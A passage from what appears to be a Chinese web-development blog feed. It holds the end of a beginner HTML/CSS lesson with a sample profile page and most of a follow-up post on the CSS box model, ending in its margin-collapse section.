&amp;lt;h2&amp;gt;这是二级标题&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;这是三级标题&amp;lt;/h3&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;段落标签：&lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;用于创建文本段落：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;这是一个段落，包含一些文本内容。&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;这是另一个段落，包含更多文本。&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;链接标签：&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;创建超链接，连接其他页面或资源：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://www.example.com&quot;&amp;gt;访问示例网站&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;图像标签：&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;在页面中嵌入图片：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;image.jpg&quot; alt=&quot;图片描述&quot; width=&quot;300&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src&lt;/code&gt; 属性指定图片路径&lt;/li&gt;
&lt;li&gt;&lt;code&gt;alt&lt;/code&gt; 属性提供替代文本（对可访问性很重要）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;容器标签：&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;和&lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;用于组织和分组内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;
    &amp;lt;h2&amp;gt;产品介绍&amp;lt;/h2&amp;gt;
    &amp;lt;p&amp;gt;这是我们最新发布的产品...&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;p&amp;gt;这是&amp;lt;span style=&quot;color:red&quot;&amp;gt;红色&amp;lt;/span&amp;gt;的文本&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 是块级元素（自动换行）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; 是行内元素（不换行）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第二部分：CSS - 为网页添加样式&lt;/h2&gt;
&lt;h3&gt;什么是CSS？&lt;/h3&gt;
&lt;p&gt;CSS（层叠样式表）是用于描述网页外观的语言。如果说HTML是骨架，CSS就是皮肤和衣服，让网页变得美观。&lt;/p&gt;
&lt;h3&gt;三种添加CSS的方式&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内联样式&lt;/strong&gt;（直接写在HTML标签中）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;p style=&quot;color: blue; font-size: 16px;&quot;&amp;gt;蓝色文本&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;内部样式表&lt;/strong&gt;（写在&lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;的&lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt;标签中）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;
  &amp;lt;style&amp;gt;
    p {
      color: green;
      font-size: 18px;
    }
  &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;外部样式表&lt;/strong&gt;（最佳实践）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;head&amp;gt;
  &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;styles.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;CSS基础语法&lt;/h3&gt;
&lt;p&gt;CSS规则由&lt;strong&gt;选择器&lt;/strong&gt;和&lt;strong&gt;声明块&lt;/strong&gt;组成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;selector {
  property: value;
  property: value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;h1 {
  color: navy;
  text-align: center;
  font-family: Arial, sans-serif;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用CSS属性&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;th&gt;示例值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;color&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文本颜色&lt;/td&gt;
&lt;td&gt;&lt;code&gt;red&lt;/code&gt;, &lt;code&gt;#ff0000&lt;/code&gt;, &lt;code&gt;rgb(255,0,0)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;font-size&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字体大小&lt;/td&gt;
&lt;td&gt;&lt;code&gt;16px&lt;/code&gt;, &lt;code&gt;1.2em&lt;/code&gt;, &lt;code&gt;120%&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;background-color&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;背景颜色&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lightblue&lt;/code&gt;, &lt;code&gt;#f0f0f0&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;text-align&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文本对齐&lt;/td&gt;
&lt;td&gt;&lt;code&gt;left&lt;/code&gt;, &lt;code&gt;center&lt;/code&gt;, &lt;code&gt;right&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;font-family&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字体&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Arial&lt;/code&gt;, &lt;code&gt;&quot;Times New Roman&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;margin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;外边距&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10px&lt;/code&gt;, &lt;code&gt;1em 2em&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;padding&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;内边距&lt;/td&gt;
&lt;td&gt;&lt;code&gt;5px 10px&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;动手实践：创建你的第一个网页&lt;/h2&gt;
&lt;p&gt;让我们把学到的知识付诸实践！创建一个包含以下元素的个人简介页面：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;我的个人简介&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 0 auto;
            padding: 20px;
            background-color: #f5f5f5;
        }

        header {
            text-align: center;
            background-color: #4a86e8;
            color: white;
            padding: 20px;
            border-radius: 10px;
        }

        .profile-img {
            width: 150px;
            height: 150px;
            border-radius: 50%;
            border: 5px solid white;
            margin: 0 auto;
            display: block;
            background-color: #ddd; /* 图片占位色 */
        }

        section {
            background-color: white;
            padding: 20px;
            margin: 20px 0;
            border-radius: 10px;
            box-shadow: 0 2px 5px rgba(0,0,0,0.1);
        }

        h2 {
            color: #4a86e8;
            border-bottom: 2px solid #4a86e8;
            padding-bottom: 5px;
        }

        ul {
            padding-left: 20px;
        }

        li {
            margin-bottom: 8px;
        }

        footer {
            text-align: center;
            margin-top: 20px;
            color: #777;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;header&amp;gt;
        &amp;lt;div class=&quot;profile-img&quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;h1&amp;gt;张明&amp;lt;/h1&amp;gt;
        &amp;lt;p&amp;gt;前端开发学习者 | 网页设计爱好者&amp;lt;/p&amp;gt;
    &amp;lt;/header&amp;gt;

    &amp;lt;section&amp;gt;
        &amp;lt;h2&amp;gt;关于我&amp;lt;/h2&amp;gt;
        &amp;lt;p&amp;gt;你好！我是一名前端开发初学者，对网页设计和用户体验充满热情。我正在学习HTML、CSS和JavaScript，目标是成为一名专业的前端工程师。&amp;lt;/p&amp;gt;
    &amp;lt;/section&amp;gt;

    &amp;lt;section&amp;gt;
        &amp;lt;h2&amp;gt;技能&amp;lt;/h2&amp;gt;
        &amp;lt;ul&amp;gt;
            &amp;lt;li&amp;gt;HTML5&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;CSS3&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;响应式设计&amp;lt;/li&amp;gt;
            &amp;lt;li&amp;gt;基础JavaScript&amp;lt;/li&amp;gt;
        &amp;lt;/ul&amp;gt;
    &amp;lt;/section&amp;gt;

    &amp;lt;section&amp;gt;
        &amp;lt;h2&amp;gt;联系我&amp;lt;/h2&amp;gt;
        &amp;lt;p&amp;gt;邮箱: &amp;lt;a href=&quot;mailto:zhangming@example.com&quot;&amp;gt;zhangming@example.com&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;p&amp;gt;GitHub: &amp;lt;a href=&quot;https://github.com/zhangming&quot;&amp;gt;github.com/zhangming&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
    &amp;lt;/section&amp;gt;

    &amp;lt;footer&amp;gt;
        &amp;lt;p&amp;gt;© 2023 我的个人简介页面&amp;lt;/p&amp;gt;
    &amp;lt;/footer&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实践任务&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;将上面的代码复制到你的&lt;code&gt;index.html&lt;/code&gt;文件中&lt;/li&gt;
&lt;li&gt;在浏览器中打开文件查看效果&lt;/li&gt;
&lt;li&gt;尝试以下修改：
&lt;ul&gt;
&lt;li&gt;更改标题颜色（修改&lt;code&gt;header&lt;/code&gt;的&lt;code&gt;background-color&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;调整个人照片大小（修改&lt;code&gt;.profile-img&lt;/code&gt;的&lt;code&gt;width&lt;/code&gt;和&lt;code&gt;height&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;添加一个新的技能到技能列表&lt;/li&gt;
&lt;li&gt;修改整个页面的背景色（修改&lt;code&gt;body&lt;/code&gt;的&lt;code&gt;background-color&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;总结与预告&lt;/h2&gt;
&lt;p&gt;今天，我们学习了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;HTML文档的基本结构&lt;/li&gt;
&lt;li&gt;常用HTML标签及其用法&lt;/li&gt;
&lt;li&gt;CSS的三种引入方式&lt;/li&gt;
&lt;li&gt;基础CSS选择器和属性&lt;/li&gt;
&lt;li&gt;创建了一个简单的个人简介页面&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在下一篇文章中，我们将深入探讨：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;CSS选择器的进阶用法&lt;/li&gt;
&lt;li&gt;文本和背景的样式细节&lt;/li&gt;
&lt;li&gt;元素显示类型（块级与行内）&lt;/li&gt;
&lt;li&gt;为你的页面添加更多样式细节&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;挑战任务&lt;/strong&gt;：在今天的个人简介页面上，尝试添加一个&quot;项目经历&quot;部分，包含项目名称、描述和使用的技术栈。&lt;/p&gt;
&lt;p&gt;记住，学习编程最好的方式就是动手实践！不要害怕犯错，浏览器的开发者工具（按F12打开）是你的好朋友，可以帮助你调试代码。&lt;/p&gt;
&lt;p&gt;期待在下一篇文章中与你继续前端之旅！🚀&lt;/p&gt;
</content:encoded></item><item><title>深入理解盒子模型</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-box-model-deep-dive/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-box-model-deep-dive/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言：布局的基石&lt;/h2&gt;
&lt;p&gt;欢迎回到前端学习之旅！在掌握了HTML基础和CSS选择器后，今天我们将探索前端开发中最重要的概念——&lt;strong&gt;盒子模型&lt;/strong&gt;。这是CSS布局的基石，理解它将彻底改变你创建网页的方式。无论多么复杂的布局，都是由无数个盒子组合而成。让我们开始这段神奇的探索吧！&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第一部分：盒子模型揭秘&lt;/h2&gt;
&lt;h3&gt;什么是盒子模型？&lt;/h3&gt;
&lt;p&gt;在CSS中，每个元素都被视为一个矩形盒子。这个盒子由四个同心区域组成，从内到外分别是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内容区（Content）&lt;/strong&gt; - 元素的实际内容（文本、图片等）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内边距（Padding）&lt;/strong&gt; - 内容与边框之间的空间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;边框（Border）&lt;/strong&gt; - 盒子的边界线&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外边距（Margin）&lt;/strong&gt; - 盒子与其他元素之间的空间&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;可视化盒子模型&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;box-model-visual&quot;&amp;gt;
  &amp;lt;div class=&quot;margin&quot;&amp;gt;
    &amp;lt;div class=&quot;border&quot;&amp;gt;
      &amp;lt;div class=&quot;padding&quot;&amp;gt;
        &amp;lt;div class=&quot;content&quot;&amp;gt;
          内容
        &amp;lt;/div&amp;gt;
      &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.box-model-visual {
  max-width: 500px;
  margin: 2rem auto;
}

.margin {
  background-color: #e3f2fd;
  padding: 20px;
}

.border {
  background-color: #ffecb3;
  padding: 20px;
  border: 3px solid #ffa000;
}

.padding {
  background-color: #c8e6c9;
  padding: 20px;
}

.content {
  background-color: #bbdefb;
  height: 100px;
  display: flex;
  align-items: center;
  justify-content: center;
  font-weight: bold;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个可视化示例展示了盒子模型的四个层次，每个区域用不同颜色标识。在浏览器中查看时，你会清楚地看到每个区域如何影响元素的最终尺寸。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第二部分：盒子模型属性详解&lt;/h2&gt;
&lt;h3&gt;内容区（Content）&lt;/h3&gt;
&lt;p&gt;内容区是元素的核心，包含文本、图像或其他内容。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心属性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;width&lt;/code&gt; - 设置内容宽度&lt;/li&gt;
&lt;li&gt;&lt;code&gt;height&lt;/code&gt; - 设置内容高度&lt;/li&gt;
&lt;li&gt;&lt;code&gt;min-width&lt;/code&gt;/&lt;code&gt;max-width&lt;/code&gt; - 设置最小/最大宽度&lt;/li&gt;
&lt;li&gt;&lt;code&gt;min-height&lt;/code&gt;/&lt;code&gt;max-height&lt;/code&gt; - 设置最小/最大高度&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;.content-box {
  width: 300px;   /* 内容宽度 */
  height: 200px;  /* 内容高度 */
  background-color: #e0e0e0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;内边距（Padding）&lt;/h3&gt;
&lt;p&gt;内边距是内容与边框之间的透明区域，增加元素内部空间。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性语法&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 四种写法 */
padding: 10px;                 /* 所有边 */
padding: 10px 20px;            /* 上下 | 左右 */
padding: 10px 20px 15px;       /* 上 | 左右 | 下 */
padding: 10px 20px 15px 5px;  /* 上 | 右 | 下 | 左（顺时针） */

/* 单边设置 */
padding-top: 10px;
padding-right: 20px;
padding-bottom: 15px;
padding-left: 5px;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;边框（Border）&lt;/h3&gt;
&lt;p&gt;边框围绕在内边距和内容周围，可以设置样式、宽度和颜色。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;边框三要素&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;border: [width] [style] [color];

/* 示例 */
border: 2px solid #3498db;      /* 实线边框 */
border: 3px dashed #e74c3c;     /* 虚线边框 */
border: 1px dotted #2ecc71;     /* 点状边框 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;圆角边框&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;border-radius: 10px;            /* 所有角 */
border-radius: 10px 20px;       /* 左上右下 | 右上左下 */
border-radius: 10px 5px 15px;   /* 左上 | 右上左下 | 右下 */
border-radius: 5px 10px 15px 20px; /* 左上 | 右上 | 右下 | 左下 */

/* 椭圆角 */
border-radius: 50%;             /* 圆形 */
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;外边距（Margin）&lt;/h3&gt;
&lt;p&gt;外边距是盒子与其他元素之间的透明区域，控制元素间的距离。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;属性语法&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 与padding类似 */
margin: 20px;
margin: 20px auto; /* 水平居中技巧 */
margin: 10px 20px 30px 15px;

/* 单边设置 */
margin-top: 10px;
margin-right: 20px;
margin-bottom: 15px;
margin-left: 5px;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;负外边距&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.pull-up {
  margin-top: -20px; /* 将元素向上拉 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;第三部分：盒子模型计算&lt;/h2&gt;
&lt;h3&gt;默认模型：content-box&lt;/h3&gt;
&lt;p&gt;在标准盒子模型（默认）中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;总宽度 = width + padding-left + padding-right + border-left + border-right
总高度 = height + padding-top + padding-bottom + border-top + border-bottom
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;更优模型：border-box&lt;/h3&gt;
&lt;p&gt;使用&lt;code&gt;box-sizing: border-box&lt;/code&gt;后：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;总宽度 = width (包含padding和border)
总高度 = height (包含padding和border)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;强烈推荐&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 最佳实践：全局应用border-box */
*, *::before, *::after {
  box-sizing: border-box;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;盒子模型对比示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;box content-box&quot;&amp;gt;标准盒子模型&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;box border-box&quot;&amp;gt;Border-box模型&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.box {
  width: 200px;
  padding: 20px;
  border: 10px solid #3498db;
  margin: 20px;
  background-color: #f1c40f;
}

.content-box {
  box-sizing: content-box; /* 默认 */
}

.border-box {
  box-sizing: border-box;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个示例中，两个div设置了相同的宽度、内边距和边框，但由于盒子模型不同，它们的实际尺寸差异巨大。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第四部分：实战应用 - 创建个人名片&lt;/h2&gt;
&lt;p&gt;让我们运用盒子模型知识创建一个精美的个人名片：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;个人名片 - 盒子模型实战&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        /* 全局重置与基础设置 */
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
        }

        body {
            font-family: &apos;Segoe UI&apos;, Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }

        /* 名片容器 */
        .business-card {
            width: 100%;
            max-width: 400px;
            background-color: white;
            border-radius: 20px;
            overflow: hidden;
            box-shadow: 0 15px 30px rgba(0,0,0,0.2);
        }

        /* 头部样式 - 使用padding控制内部空间 */
        .card-header {
            background: linear-gradient(to right, #3498db, #2c3e50);
            color: white;
            padding: 30px 25px;
            text-align: center;
            position: relative;
        }

        /* 头像样式 - 使用border创建圆形效果 */
        .avatar {
            width: 120px;
            height: 120px;
            border-radius: 50%;
            border: 5px solid rgba(255,255,255,0.3);
            margin: 0 auto 20px;
            overflow: hidden;
            background-color: #eee; /* 头像占位 */
        }

        /* 主体内容区域 - 使用margin控制元素间距 */
        .card-body {
            padding: 30px 25px;
        }

        .card-body h2 {
            color: #2c3e50;
            margin-bottom: 15px;
            font-size: 1.8rem;
        }

        .title {
            color: #3498db;
            font-weight: 600;
            margin-bottom: 20px;
            font-size: 1.1rem;
        }

        /* 联系信息列表 - 使用padding增加内部空间 */
        .contact-info {
            list-style: none;
            margin-top: 25px;
        }

        .contact-info li {
            padding: 12px 0;
            display: flex;
            align-items: center;
            border-bottom: 1px solid #eee;
        }

        .contact-info li:last-child {
            border-bottom: none;
        }

        .icon {
            width: 40px;
            height: 40px;
            background-color: #3498db;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-right: 15px;
            color: white;
        }

        /* 技能部分 - 使用margin控制外部间距 */
        .skills {
            margin-top: 25px;
        }

        .skill-tags {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            margin-top: 10px;
        }

        .tag {
            background-color: #e3f2fd;
            color: #3498db;
            padding: 6px 15px;
            border-radius: 20px;
            font-size: 0.9rem;
        }

        /* 页脚 - 使用padding增加内部空间 */
        .card-footer {
            background-color: #f8f9fa;
            padding: 20px;
            text-align: center;
            border-top: 1px solid #eee;
        }

        .social-links {
            display: flex;
            justify-content: center;
            gap: 20px;
        }

        .social-link {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            background-color: #3498db;
            display: flex;
            align-items: center;
            justify-content: center;
            color: white;
            text-decoration: none;
            transition: transform 0.3s, background-color 0.3s;
        }

        .social-link:hover {
            transform: translateY(-3px);
            background-color: #2980b9;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;business-card&quot;&amp;gt;
        &amp;lt;div class=&quot;card-header&quot;&amp;gt;
            &amp;lt;div class=&quot;avatar&quot;&amp;gt;&amp;lt;/div&amp;gt;
            &amp;lt;h1&amp;gt;张明&amp;lt;/h1&amp;gt;
            &amp;lt;p class=&quot;title&quot;&amp;gt;高级前端开发工程师&amp;lt;/p&amp;gt;
        &amp;lt;/div&amp;gt;

        &amp;lt;div class=&quot;card-body&quot;&amp;gt;
            &amp;lt;h2&amp;gt;关于我&amp;lt;/h2&amp;gt;
            &amp;lt;p&amp;gt;拥有5年前端开发经验，专注于创建用户友好、高性能的Web应用。热爱探索新技术，擅长Vue和React框架。&amp;lt;/p&amp;gt;

            &amp;lt;div class=&quot;skills&quot;&amp;gt;
                &amp;lt;h2&amp;gt;专业技能&amp;lt;/h2&amp;gt;
                &amp;lt;div class=&quot;skill-tags&quot;&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;HTML5&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;CSS3&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;JavaScript&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;Vue.js&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;React&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;响应式设计&amp;lt;/span&amp;gt;
                    &amp;lt;span class=&quot;tag&quot;&amp;gt;UI/UX&amp;lt;/span&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;

            &amp;lt;ul class=&quot;contact-info&quot;&amp;gt;
                &amp;lt;li&amp;gt;
                    &amp;lt;div class=&quot;icon&quot;&amp;gt;@&amp;lt;/div&amp;gt;
                    &amp;lt;div&amp;gt;zhangming@example.com&amp;lt;/div&amp;gt;
                &amp;lt;/li&amp;gt;
                &amp;lt;li&amp;gt;
                    &amp;lt;div class=&quot;icon&quot;&amp;gt;#&amp;lt;/div&amp;gt;
                    &amp;lt;div&amp;gt;+86 138 8888 8888&amp;lt;/div&amp;gt;
                &amp;lt;/li&amp;gt;
                &amp;lt;li&amp;gt;
                    &amp;lt;div class=&quot;icon&quot;&amp;gt;📍&amp;lt;/div&amp;gt;
                    &amp;lt;div&amp;gt;北京市朝阳区科技园区88号&amp;lt;/div&amp;gt;
                &amp;lt;/li&amp;gt;
            &amp;lt;/ul&amp;gt;
        &amp;lt;/div&amp;gt;

        &amp;lt;div class=&quot;card-footer&quot;&amp;gt;
            &amp;lt;div class=&quot;social-links&quot;&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;social-link&quot;&amp;gt;微&amp;lt;/a&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;social-link&quot;&amp;gt;微&amp;lt;/a&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;social-link&quot;&amp;gt;in&amp;lt;/a&amp;gt;
                &amp;lt;a href=&quot;#&quot; class=&quot;social-link&quot;&amp;gt;Git&amp;lt;/a&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;盒子模型在本示例中的应用&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内容区&lt;/strong&gt;：控制名片文本和图片的显示区域&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内边距&lt;/strong&gt;：&lt;code&gt;.card-body { padding: 30px 25px; }&lt;/code&gt; 创建内容与边缘的空间&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;边框&lt;/strong&gt;：&lt;code&gt;.avatar { border: 5px solid rgba(255,255,255,0.3); }&lt;/code&gt; 创建头像边框&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;外边距&lt;/strong&gt;：&lt;code&gt;.contact-info li { margin-bottom: 10px; }&lt;/code&gt; 控制列表项间距&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;box-sizing&lt;/strong&gt;：全局应用&lt;code&gt;border-box&lt;/code&gt;确保尺寸计算符合预期&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;第五部分：常见问题与解决方案&lt;/h2&gt;
&lt;h3&gt;1. 外边距合并（Margin Collapse）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;现象&lt;/strong&gt;：相邻垂直方向的外边距会合并为单个外边距（取较大值）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用padding替代margin&lt;/li&gt;
&lt;li&gt;添加透明边框：&lt;code&gt;border: 1px solid transparent&lt;/code&gt;&lt;/li&gt;
